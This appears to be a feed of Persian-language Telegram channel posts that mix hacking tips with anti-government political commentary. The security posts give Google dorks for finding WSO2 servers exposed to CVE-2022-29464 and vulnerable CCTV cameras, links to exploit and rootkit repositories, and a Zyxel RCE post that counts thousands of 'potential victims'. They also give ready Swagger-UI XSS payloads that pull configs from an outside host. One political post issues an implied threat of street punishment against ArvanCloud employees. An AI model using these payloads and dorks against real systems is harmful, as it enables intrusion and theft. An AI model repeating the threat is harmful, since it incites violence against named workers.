WSO2 RCE (CVE-2022-29464)

آسیب پذیری حیاتی در WSO2 توسط Orange Tsai کشف شد. این آسیب‌پذیری یک آپلود فایل دلخواه و نامحدود است که به مهاجمان تأیید نشده اجازه می‌دهد تا از طریق آپلود فایل‌های JSP مخرب، RCE را در سرورهای WSO2 به دست آورند.

Google Dorks:
inurl:"/carbon/admin/login.jsp"
inurl:"/authenticationendpoint/login.do"
inurl:"devportal/apis"
innoscript:"API Publisher- Login"
innoscript:"WSO2 Management Console"


https://github.com/hakivvi/CVE-2022-29464

#wso2 #rce #exploit
@PFK_Security

نخستین گام برای از میان برداشتن یک ملت، پاک کردن حافظه‌ی آن است. باید کتاب‌هایش را، فرهنگش را، تاریخش را از بین برد. بعد باید کسی را داشت که کتاب‌های تازه‌ای بنویسد، فرهنگ تازه‌ای جعل کند و بسازد، تاریخ تازه‌ای اختراع کند. کوتاه زمانی بعد، ملت آن‌چه را که هست و آن‌چه را که بوده، فراموش می‌کند.

[ حکایت کشور ما که بیگانه پرست شدند ]

کتاب: خنده و فراموشی
#میلان_کوندرا
@PFK_Security

افشای اطلاعات در فایل پیکربندی ASP.NET

اگر به هک وب علاقه دارید، باید فهرست کلماتی برای فناوری های خاص داشته باشید. اگر اینطور نیست، آسیب پذیری های آشکار را از دست داده اید.

به عنوان مثال، ASP.NET تنظیمات پیکربندی خود را به طور پیش فرض از فایل appsettings.json دریافت می کند. این فایل در اکثر لیست های کلمه عمومی رایج یافت نمی شود، اما در لیست های word است که به طور خاص برای برنامه های ASP ایجاد شده است.

تصویر زیر نمونه ای از باز کردن چنین فایلی را نشان می دهد که در نتیجه گیج شدن و حاوی رشته های اتصال پایگاه داده پیدا شده است.

https://redacted.company.com/appsettings.json

فقط مطمئن شوید که لیست کلمات شما به روز است و برای پشته های فناوری محبوب قابل استفاده است.

#web #fuzz #leak
@PFK_Security

امنیت تنها به معنی عدم جنگ در کشور نیست ، امنیت حقیقی یعنی تمام افراد جامعه بدون توجه به نژاد، دین، طبقه جنسیت و پایگاه اجتماعی ازحقوق یکسان برای رشد برخوردار باشند

#نلسون_ماندلا

@PFK_Security

https://root.direct/xhUlu

#web #recon
@PFK_Security

استخراج داده های حساس از طریق XSS

Link

#XSS
@PFK_Security

afrog:
ابزاری برای یافتن آسیب پذیری ها

Link

#tools
@PFK_Security

چک لیست امنیت API

API
ها در انواع مختلفی از جمله REST، SOAP، graphQL، gRPC و WebSockets هستند و هر کدام موارد استفاده و آسیب پذیری های رایج خود را دارند. مسائل پوشش داده شده در این چک لیست می تواند در هر نوع API رخ دهد. صرف نظر از اینکه از کدام فناوری برای پیاده سازی API خود استفاده کرده اید، به ادامه مطلب بروید تا بدانید امروز چه کاری می توانید انجام دهید تا به بزرگترین خطرات احتمالی مرتبط با آن رسیدگی کنید.

https://www.wallarm.com/resources/api-security-checklist

#API #Checklist
@PFK_Security

https://github.com/epi052/feroxbuster

#fuzzing #dir #file
@PFK_Security

مجموعه ای از روت کیت ها، با مجموعه ای متفاوت از توابع. از SSH مخفی تا یک کی لاگر تمام عیار با یک ربات داخلی IRC.
https://github.com/milabs/awesome-linux-rootkits
#SSH
#IRC
#rootkit
@PFK_Security

این بحث مال خیلی وقته ولی خب کانال نداشتم اون زمان .

اینترنت قطع بود، مردم در خیابان‌ها سرکوب و کشته می‌شدند، ابرآروانی همین روزها در اینترنت قطع شده از «پلو خورشت» می‌نوشتند، معترضان را تمسخر می‌کردند، کشته‌شدگان آبان را ا هم‌ردیف سرکوب‌گران قرار می‌دادند!

در سال ۱۳۹۹ و ۱۴۰۰ با انتشار قراردادهای میان سازمان فناوری اطلاعات ایران و آسیاتک، ژرف‌نگر، ابرزس، فناپ و ابرآروان مشخص شد که شرکت ابرآروان در «ساده‌سازی و همراهی با حکومت آخوندی در قطع اینترنت» و «فراهم آوردن ابزار شنود برای حکومت اسلامی» نقش داشته است.

تصویر پیوست توییت‌های یکی از کارمندان ابرآروان در زمان قطعی اینترنت ایران در آبان ۹۸ است.

دلمان با شما تا ابد صاف نمی‌شود، نه می‌بخشیمتان، نه فراموشتان می‌کنیم!

#ابرآروان
@PFK_Security

چرا عده ای از فضای مجازی هراس دارند؟


اینکه دشمنان این ملت و این مردم در فضای مجازی شیطنت می کنند و مردم و جوانان را هدفمندانه به سمت و سوی اهدافشون تشویق می کنند، درست است.

اما همین فضای مجازی کاسبان و متولیان زیارتگاهها را که مردم را برای شفا و حاجت گرفتن به آمدن به زیارتگاهها و دادن پول تشویق می کردند ولی خوشان برای معالجه به کشورهای غربی می رفتند را رسوا کرد

همین فضای مجازی آنهایی را که خودشان را نماینده خدا روی زمین معرفی می کردند، ولی از دین و مذهب وسیله ای ساختند برای رسیدن به ثروت و قدرت و حکومت بر مردم را رسوا کرد


همین فضای مجازی ناکارآمدی حکومتگران و در نتیجه عقب ماندگی این مملکت در این چند دهه، نسبت به پیشرفت های دنیا و کشورهای همسایه را آشکار کرد

همین فضای مجازی آنهایی را که به هواپیمای مسافربری موشک شلیک کردند و ۱۷۶ انسان بیگناه را کشتند و سه روز به ملت و همه دنیا به دروغ می گفتند که هواپیما خودش سقوط کرده، را رسوا کرد

همین فضای مجازی آنهایی را که صدها نفر از مردم بیگناه را در اعتراض به گرانی بنزین و غیره کشتند، رسوا کرد

همین فضای مجازی آنهایی را که دانشجویان بی دفاع و معترض به وضعیت بد جامعه را کشتند و لوله کردند و از پشت بام چند طبقه به پائین پرتاب کردند، رسوا ساخت

همین فضای مجازی دزدان و اختلاسگران اموال بیت المال را که پینه بر پیشانی و انگشتر و تسبیح در دست در راهپیمایی ها شعار مرگ بر... می دادند را رسوا کرد

همین فضای مجازی ریاکارانی را که همه بدبختی ها و منکرات را در بدحجابی خانها خلاصه کردند و خوشان با ظاهری ساده ثروت اندوختند و مردم را چاپیدند را رسوا کرد

همین فضای مجازی آن حاکمانی را که چفیه بر گردن می انداختند و شعار ساده زیستی و مبارزه با استکبار را سر می دادند ولی در خفا برای خودشان و فرزندانشان زندگی اشرافی درست کرده بودند را رسوا کرد

همین فضای مجازی اعدام های بی محاکمه زندانیان و مفقودی آنهایی را که در گونی کردند و بردند و دیگر بر نگشتند را رسوا کرد

همین فضای مجازی متولیانی را که روز به روز بر تعداد امامزاده ها و زیارتگاهها و ثروت خوشان می افزایند، ولی مانع رفتن مردم بر مزار بزرگ مرد تاریخ کورش کبیر می شوند را رسوا کرد

همین فضای مجازی.....

حالا متوجه شدید چرا عده ای به شدت با فضای مجازی مخالفند و آن را سگ هار می نامند و در پی بستن آن هستند.

#فضای_مجازی
@PFK_Security

امنیت قراردادهای بلاک چین و هوشمند CTF#

اکنون همه جا درباره بلاک چین و قراردادهای هوشمند صحبت می شود، اما افراد زیادی وجود ندارند که مسائل امنیتی این ابزارها را درک کنند.

می توانید سعی کنید به این موضوع بپردازید و مهارت های عملی خود را در وظایف ارائه شده در لینک زیر تقویت کنید:

https://capturetheether.com/

https://ethernaut.openzeppelin.com/

https://etherhack.positive.com/

https://blockchain-ctf.securityinnovation.com/

https://ciphershastra.com/

https://www.defihack.xyz/

https://gachalab.inspex.co/

https://ciphershastra.com/

#CTF
@PFK_Security

تمامی اعضای شرکت ابرآروان و امثالهم مستحضر باشند که سلب دسترسی اینترنت هر استان و هر شهر، مجازات مردمی در کف خیابان را در بر خواهد داشت..

#ابرآروان
@PFK_Security

مخزن ابزارهای هک

https://github.com/hacktoolspack/hack-tools

#tools
@PFK_Security

اجرای فرمان از راه دور فایروال Zyxel (CVE-2022-30525)

این آسیب‌پذیری که CVE-2022-30525 نامیده می‌شود، می‌تواند به یک مهاجم راه دور احراز هویت نشده اجازه دهد تا کد دلخواه را به عنوان کاربر هیچ‌کس در دستگاه آسیب‌دیده اجرا کند. برای اطلاعات بیشتر به لینک مراجعه کنید.

فایروال‌های Zyxel را تحت تأثیر قرار می‌دهد که از Zero Touch Provisioning (ZTP) پشتیبانی می‌کنند، از جمله سری‌های ATP، سری VPN، و سری‌های USG FLEX (شامل USG20-VPN و USG20W-VPN).

آسیب پذیری را می توان توسط Shodan جستجو کرد که حدود 16 هزار قربانی بالقوه می دهد. PoC در تصویر زیر نشان داده شده است.

#rce #cve
@PFK_Security

هک Swagger-UI - از XSS تا ربودن حساب

علت اصلی آسیب‌پذیری، کتابخانه DomPurify قدیمی است (برای پاکسازی ورودی استفاده می‌شود) که به شما امکان می‌دهد DOM XSS را دریافت کنید، که از پارامترهای درخواست کنترل می‌شود.

برای بررسی آسیب‌پذیری، کافی است به آدرس زیر اضافه کنید:

?configUrl=https://tearful-earth.surge.sh/test.json

یا

url=https://tearful-earth.surge.sh/test.yaml

یا برای JAMF:

?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

برای اطلاع از جزئیات این آسیب‌پذیری، نمونه‌هایی در سایت‌های واقعی و نحوه استفاده از آن برای گرفتن حساب، وبلاگ نویسنده را بخوانید.

https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/

#Web #XSS
@PFK_Security

خطاب به طرفداران... رضا پهلوی:


دو سوال
آیا رضاشاه بزرگ برای فتح تهران و نجات ایران از تباهی و فساد تکیه بر ملتی شپش زده کرده بود و با کمک آن ها پیروز میدان شد؟
( ملتی که غرق در تباهی اسلام و خرافات بودند و اساسا مسوولیتی جز سیر کردن شکم خود و افراد خانواده ی خود حس نمیکردند و مفهومی از وطن را درک نمیکردند به جز قبیله و طایفه ی خود!!!! )
حال این ملت نگون بخت که چهل سال است کشته داده اند و در فلاکت بار ترین روز های سرنوشت خود هستند به طوری که حتی بضاعت مالی برای مُردن ندارند چطور میتواند ناجی شخصی باشد در آنسوی آب ها که صرفا حق سخنرانی های رادیکال را ندارد
آن هم با دستان خالی و شکم گرسنه؟؟؟



دوم:
آیا وضعیت شاهنشاه آریامهر در اوایل دوره ی سلطنت خود هنگامی که آذربایجان در چنگال روسیه بود
خوزستان و خلیج پارس در چنگال انگلیس
و قوای نظامی روسیه و انگلیس نیز در تهران رژه میرفتند شباهت کمی با وضعیت کنونی ولیعهد داشت؟
با این تفاوت که محمدرضاشاه بزرگ در آن سال ها تنها 20 سال داشتند و ولیعهد ایشان اکنون 63 سال
چه چیزی از شاهنشاه آریامهر بزرگ یک قهرمان بزرگ میسازد و از ولیعهد ایشون یک... منفعل؟

به نظرتون کار راحتی بود که یک جوان 20 ساله با یک ارتش بسیار ضعیف در لباس شاهنشاه ایران در آن سال ها چرچیل و استالین را بتواند به گونه ای قانع کند که علاوه بر حفظ تمامیت عرضی کشور، دست از به یغما بردن ثروت ملی کشور بکشند و از ایران قوای خود رو خارج کنند؟
یا تصور میکنید در گذشته انگلیس و روسیه دوستان ما بوده اند، خیرخواه ما بوده اند و مذاکره با آنان کار راحتی بوده و اکنون دشمنان ما هستند و مذاکره با آنان غیر ممکن و گروگان گیران رضا پهلوی؟

رضا پهلوی
یک شخص بسیار با سواد و فهمیده و دلسوز هست شکی به این موضوع ندارم
اما از لحاظ سواد سیاسی و توانایی رهبری نه تنها بسیار نفهم و بی سواد هست بلکه سالهاست با رهنمود های احمقانه و رفتار منفعلانه ی خودش باعث شده هزاران ایرانی کشته و اسیر بشوند

ایشان کافیه با 5 هزار نفر از طرفدارای راستین پادشاهی در سراسر دنیا رو به روی سازمان ملل
یا کاخ سفید حاضر شوند
یقین داشته باش ورق رسانه ها و پوشش های خبری بر میگرده
ولی ایشون حتی حاضر نیست ریسک لغو تابعیت آمریکایی خودش یا فرزندانشو به جون بخره
ولی فقط از ملت گرسنه ی ایران انتظار میره با دست خالی و به صورت کاملا مدنی و به دور از خشونت برن رو به روی رگبار تیر های حکومت ایران

بس است
اندکی تفکر
اندکی بلوغ فکری
@PFK_Security

H3X-CCTV

یک ابزار خط فرمان ساده با لیست Google Dorks برای یافتن دوربین های مدار بسته آسیب پذیر

https://github.com/the-h3x/H3X-CCTV

من استفاده از آن را همراه با ابزارهای اتوماسیون dorks OxDork توصیه می کنم. مثلا:
https://github.com/rly0nheart/oxdork

#osint
@PFK_Security